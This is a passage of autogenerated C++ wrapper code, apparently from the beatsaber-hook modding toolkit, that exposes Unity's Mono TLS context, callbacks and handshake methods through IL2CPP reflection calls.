Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_free_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_free_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_free_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, ctx); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_free_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_free_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_free_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_free_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_free_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_free_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_random_generate_bytes_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_random_generate_bytes_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_random_generate_bytes_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_random_generate_bytes_t::Invoke(uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_random_generate_bytes_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, buffer, bufferLen, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_random_generate_bytes_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_random_generate_bytes_t::BeginInvoke(uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_random_generate_bytes_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, buffer, bufferLen, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_random_generate_bytes_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_random_generate_bytes_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_random_generate_bytes_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.UnityTlsContext #include "Mono/Unity/UnityTlsContext.hpp" // Including type: System.Security.Cryptography.X509Certificates.X509Certificate #include "System/Security/Cryptography/X509Certificates/X509Certificate.hpp" // Including type: Mono.Security.Interface.MonoTlsConnectionInfo #include "Mono/Security/Interface/MonoTlsConnectionInfo.hpp" // Including type: System.Exception #include "System/Exception.hpp" // Including type: System.IntPtr #include "System/IntPtr.hpp" // Including type: Mono.Net.Security.MobileAuthenticatedStream #include "Mono/Net/Security/MobileAuthenticatedStream.hpp" // Including type: System.Security.Cryptography.X509Certificates.X509CertificateCollection #include "System/Security/Cryptography/X509Certificates/X509CertificateCollection.hpp" // Including type: System.ValueTuple`2 #include "System/ValueTuple_2.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list #include "Mono/Unity/UnityTls_unitytls_x509list.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_key #include "Mono/Unity/UnityTls_unitytls_key.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_read_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_read_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_write_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_write_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_certificate_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_certificate_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_x509verify_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_x509verify_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result #include "Mono/Unity/UnityTls_unitytls_x509verify_result.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list_ref #include "Mono/Unity/UnityTls_unitytls_x509list_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509name #include "Mono/Unity/UnityTls_unitytls_x509name.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_key_ref #include "Mono/Unity/UnityTls_unitytls_key_ref.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated instance field getter // Get instance field: private Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx* tlsContext ::Mono::Unity::UnityTls::unitytls_tlsctx*& Mono::Unity::UnityTlsContext::dyn_tlsContext() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_tlsContext"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "tlsContext"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_tlsctx**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list* requestedClientCertChain ::Mono::Unity::UnityTls::unitytls_x509list*& Mono::Unity::UnityTlsContext::dyn_requestedClientCertChain() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_requestedClientCertChain"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "requestedClientCertChain"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_x509list**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private Mono.Unity.UnityTls/Mono.Unity.unitytls_key* requestedClientKey ::Mono::Unity::UnityTls::unitytls_key*& Mono::Unity::UnityTlsContext::dyn_requestedClientKey() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_requestedClientKey"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "requestedClientKey"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_key**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_read_callback readCallback ::Mono::Unity::UnityTls::unitytls_tlsctx_read_callback*& Mono::Unity::UnityTlsContext::dyn_readCallback() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_readCallback"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "readCallback"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_tlsctx_read_callback**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_write_callback writeCallback ::Mono::Unity::UnityTls::unitytls_tlsctx_write_callback*& Mono::Unity::UnityTlsContext::dyn_writeCallback() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_writeCallback"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "writeCallback"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_tlsctx_write_callback**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_certificate_callback certificateCallback ::Mono::Unity::UnityTls::unitytls_tlsctx_certificate_callback*& Mono::Unity::UnityTlsContext::dyn_certificateCallback() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_certificateCallback"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "certificateCallback"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_tlsctx_certificate_callback**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_x509verify_callback verifyCallback ::Mono::Unity::UnityTls::unitytls_tlsctx_x509verify_callback*& Mono::Unity::UnityTlsContext::dyn_verifyCallback() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_verifyCallback"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "verifyCallback"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_tlsctx_x509verify_callback**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Security.Cryptography.X509Certificates.X509Certificate localClientCertificate ::System::Security::Cryptography::X509Certificates::X509Certificate*& Mono::Unity::UnityTlsContext::dyn_localClientCertificate() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_localClientCertificate"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "localClientCertificate"))->offset; return *reinterpret_cast<::System::Security::Cryptography::X509Certificates::X509Certificate**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Security.Cryptography.X509Certificates.X509Certificate remoteCertificate ::System::Security::Cryptography::X509Certificates::X509Certificate*& Mono::Unity::UnityTlsContext::dyn_remoteCertificate() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_remoteCertificate"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "remoteCertificate"))->offset; return *reinterpret_cast<::System::Security::Cryptography::X509Certificates::X509Certificate**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private Mono.Security.Interface.MonoTlsConnectionInfo connectioninfo ::Mono::Security::Interface::MonoTlsConnectionInfo*& Mono::Unity::UnityTlsContext::dyn_connectioninfo() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_connectioninfo"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "connectioninfo"))->offset; return *reinterpret_cast<::Mono::Security::Interface::MonoTlsConnectionInfo**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Boolean isAuthenticated bool& Mono::Unity::UnityTlsContext::dyn_isAuthenticated() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_isAuthenticated"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "isAuthenticated"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Boolean hasContext bool& Mono::Unity::UnityTlsContext::dyn_hasContext() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_hasContext"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "hasContext"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Boolean closedGraceful bool& Mono::Unity::UnityTlsContext::dyn_closedGraceful() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_closedGraceful"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "closedGraceful"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Byte[] writeBuffer ::ArrayW& Mono::Unity::UnityTlsContext::dyn_writeBuffer() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_writeBuffer"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "writeBuffer"))->offset; return *reinterpret_cast<::ArrayW*>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Byte[] readBuffer ::ArrayW& Mono::Unity::UnityTlsContext::dyn_readBuffer() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_readBuffer"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "readBuffer"))->offset; return *reinterpret_cast<::ArrayW*>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Runtime.InteropServices.GCHandle handle ::System::Runtime::InteropServices::GCHandle& Mono::Unity::UnityTlsContext::dyn_handle() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_handle"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "handle"))->offset; return *reinterpret_cast<::System::Runtime::InteropServices::GCHandle*>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Exception lastException ::System::Exception*& Mono::Unity::UnityTlsContext::dyn_lastException() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::dyn_lastException"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "lastException"))->offset; return *reinterpret_cast<::System::Exception**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated method: Mono.Unity.UnityTlsContext.ExtractNativeKeyAndChainFromManagedCertificate void Mono::Unity::UnityTlsContext::ExtractNativeKeyAndChainFromManagedCertificate(::System::Security::Cryptography::X509Certificates::X509Certificate* cert, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ByRef<::Mono::Unity::UnityTls::unitytls_x509list*> nativeCertChain, ByRef<::Mono::Unity::UnityTls::unitytls_key*> nativeKey) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::ExtractNativeKeyAndChainFromManagedCertificate"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTlsContext", "ExtractNativeKeyAndChainFromManagedCertificate", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(cert), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractIndependentType<::Mono::Unity::UnityTls::unitytls_x509list*&>(), ::il2cpp_utils::ExtractIndependentType<::Mono::Unity::UnityTls::unitytls_key*&>()}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, cert, errorState, byref(nativeCertChain), byref(nativeKey)); } // Autogenerated method: Mono.Unity.UnityTlsContext.WriteCallback ::System::IntPtr Mono::Unity::UnityTlsContext::WriteCallback(void* userData, uint8_t* data, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::WriteCallback"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTlsContext", "WriteCallback", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(data), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, userData, data, bufferLen, errorState); } // Autogenerated method: Mono.Unity.UnityTlsContext.WriteCallback ::System::IntPtr Mono::Unity::UnityTlsContext::WriteCallback(uint8_t* data, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::WriteCallback"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "WriteCallback", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(data), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, data, bufferLen, errorState); } // Autogenerated method: Mono.Unity.UnityTlsContext.ReadCallback ::System::IntPtr Mono::Unity::UnityTlsContext::ReadCallback(void* userData, uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::ReadCallback"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTlsContext", "ReadCallback", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, userData, buffer, bufferLen, errorState); } // Autogenerated method: Mono.Unity.UnityTlsContext.ReadCallback ::System::IntPtr Mono::Unity::UnityTlsContext::ReadCallback(uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::ReadCallback"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "ReadCallback", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, buffer, bufferLen, errorState); } // Autogenerated method: Mono.Unity.UnityTlsContext.VerifyCallback ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTlsContext::VerifyCallback(void* userData, ::Mono::Unity::UnityTls::unitytls_x509list_ref chain, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::VerifyCallback"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTlsContext", "VerifyCallback", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(static_cast(nullptr), ___internal__method, userData, chain, errorState); } // Autogenerated method: Mono.Unity.UnityTlsContext.VerifyCallback ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTlsContext::VerifyCallback(::Mono::Unity::UnityTls::unitytls_x509list_ref chain, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::VerifyCallback"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "VerifyCallback", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(this, ___internal__method, chain, errorState); } // Autogenerated method: Mono.Unity.UnityTlsContext.CertificateCallback void Mono::Unity::UnityTlsContext::CertificateCallback(void* userData, ::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, uint8_t* cn, ::System::IntPtr cnLen, ::Mono::Unity::UnityTls::unitytls_x509name* caList, ::System::IntPtr caListLen, ::Mono::Unity::UnityTls::unitytls_x509list_ref* chain, ::Mono::Unity::UnityTls::unitytls_key_ref* key, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::CertificateCallback"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTlsContext", "CertificateCallback", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(cn), ::il2cpp_utils::ExtractType(cnLen), ::il2cpp_utils::ExtractType(caList), ::il2cpp_utils::ExtractType(caListLen), ::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(key), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, userData, ctx, cn, cnLen, caList, caListLen, chain, key, errorState); } // Autogenerated method: Mono.Unity.UnityTlsContext.CertificateCallback void Mono::Unity::UnityTlsContext::CertificateCallback(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, uint8_t* cn, ::System::IntPtr cnLen, ::Mono::Unity::UnityTls::unitytls_x509name* caList, ::System::IntPtr caListLen, ::Mono::Unity::UnityTls::unitytls_x509list_ref* chain, ::Mono::Unity::UnityTls::unitytls_key_ref* key, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::CertificateCallback"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "CertificateCallback", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(cn), ::il2cpp_utils::ExtractType(cnLen), ::il2cpp_utils::ExtractType(caList), ::il2cpp_utils::ExtractType(caListLen), ::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(key), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, ctx, cn, cnLen, caList, caListLen, chain, key, errorState); } // Autogenerated method: Mono.Unity.UnityTlsContext.get_IsAuthenticated bool Mono::Unity::UnityTlsContext::get_IsAuthenticated() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::get_IsAuthenticated"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_IsAuthenticated", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsContext.get_LocalClientCertificate ::System::Security::Cryptography::X509Certificates::X509Certificate* Mono::Unity::UnityTlsContext::get_LocalClientCertificate() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::get_LocalClientCertificate"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_LocalClientCertificate", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::Security::Cryptography::X509Certificates::X509Certificate*, false>(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsContext.Read ::System::ValueTuple_2 Mono::Unity::UnityTlsContext::Read(::ArrayW buffer, int offset, int count) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::Read"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Read", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(offset), ::il2cpp_utils::ExtractType(count)}))); return ::il2cpp_utils::RunMethodRethrow<::System::ValueTuple_2, false>(this, ___internal__method, buffer, offset, count); } // Autogenerated method: Mono.Unity.UnityTlsContext.Write ::System::ValueTuple_2 Mono::Unity::UnityTlsContext::Write(::ArrayW buffer, int offset, int count) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::Write"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Write", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(offset), ::il2cpp_utils::ExtractType(count)}))); return ::il2cpp_utils::RunMethodRethrow<::System::ValueTuple_2, false>(this, ___internal__method, buffer, offset, count); } // Autogenerated method: Mono.Unity.UnityTlsContext.Shutdown void Mono::Unity::UnityTlsContext::Shutdown() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::Shutdown"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Shutdown", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsContext.Dispose void Mono::Unity::UnityTlsContext::Dispose(bool disposing) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::Dispose"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Dispose", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(disposing)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, disposing); } // Autogenerated method: Mono.Unity.UnityTlsContext.StartHandshake void Mono::Unity::UnityTlsContext::StartHandshake() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::StartHandshake"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "StartHandshake", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsContext.ProcessHandshake bool Mono::Unity::UnityTlsContext::ProcessHandshake() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::ProcessHandshake"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "ProcessHandshake", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsContext.FinishHandshake void Mono::Unity::UnityTlsContext::FinishHandshake() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsContext::FinishHandshake"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "FinishHandshake", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: 